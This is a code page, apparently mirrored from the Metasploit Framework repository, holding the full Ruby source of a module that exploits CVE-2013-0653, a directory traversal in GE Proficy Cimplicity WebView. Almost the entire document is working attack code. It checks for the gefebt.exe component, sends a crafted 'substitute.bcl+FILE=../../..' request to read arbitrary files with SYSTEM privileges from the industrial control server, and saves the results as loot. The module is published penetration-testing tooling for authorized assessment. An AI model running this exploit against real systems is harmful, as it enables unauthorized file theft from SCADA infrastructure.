CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'uri'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
15
'Description' => %q{
16
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
17
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
18
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
19
},
20
'Author' =>
21
[
22
'Unknown', # Vulnerability discovery
23
'juan vazquez' # Metasploit module
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'CVE', '2013-0653' ],
29
[ 'OSVDB', '89490' ],
30
[ 'BID', '57505' ],
31
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
32
],
33
'DisclosureDate' => '2013-01-22'))
34
35
register_options(
36
[
37
Opt::RPORT(80),
38
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
39
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
40
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
41
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
42
])
43
end
44
45
def normalize_uri(*strs)
46
new_str = strs * "/"
47
48
new_str = new_str.gsub!("//", "/") while new_str.index("//")
49
50
# Makes sure there's a starting slash
51
unless new_str[0,1] == '/'
52
new_str = '/' + new_str
53
end
54
55
new_str
56
end
57
58
def target_uri
59
begin
60
# In case TARGETURI is empty, at least we default to '/'
61
u = datastore['TARGETURI']
62
u = "/" if u.nil? or u.empty?
63
URI(u)
64
rescue ::URI::InvalidURIError
65
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
66
raise Msf::OptionValidateError.new(['TARGETURI'])
67
end
68
end
69
70
def my_basename(filename)
71
return ::File.basename(filename.gsub(/\\/, "/"))
72
end
73
74
def is_proficy?
75
connect
76
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
77
sock.put(req)
78
res = sock.get_once
79
disconnect
80
81
if res and res =~ /gefebt\.exe/
82
return true
83
else
84
return false
85
end
86
end
87
88
# We can't use the http client msf mixin because the Proficy Web server
89
# return a malformed HTTP response with the file contents, there aren't
90
# two new lines (but one) between the HTTP headers and the body content.
91
def read_file(file)
92
travs = ""
93
travs << "../" * datastore['DEPTH']
94
travs << file
95
96
print_status("#{@peer} - Retrieving file contents...")
97
98
connect
99
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
100
sock.put(req)
101
res = sock.get_once
102
disconnect
103
104
if res and res =~ /HTTP\/1\.0 200 OK/
105
return res
106
else
107
return nil
108
end
109
110
end
111
112
def run
113
@peer = "#{rhost}:#{rport}"
114
115
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
116
if is_proficy?
117
print_good("#{@peer} - Check successful")
118
else
119
print_error("#{@peer} - GE proficy not found")
120
return
121
end
122
123
contents = read_file(datastore['FILEPATH'])
124
if contents.nil?
125
print_error("#{@peer} - File not downloaded")
126
return
127
end
128
129
file_name = my_basename(datastore['FILEPATH'])
130
path = store_loot(
131
'ge.proficy.traversal',
132
'application/octet-stream',
133
rhost,
134
contents,
135
file_name
136
)
137
print_good("#{rhost}:#{rport} - File saved in: #{path}")
138
139
end
140
end
141
142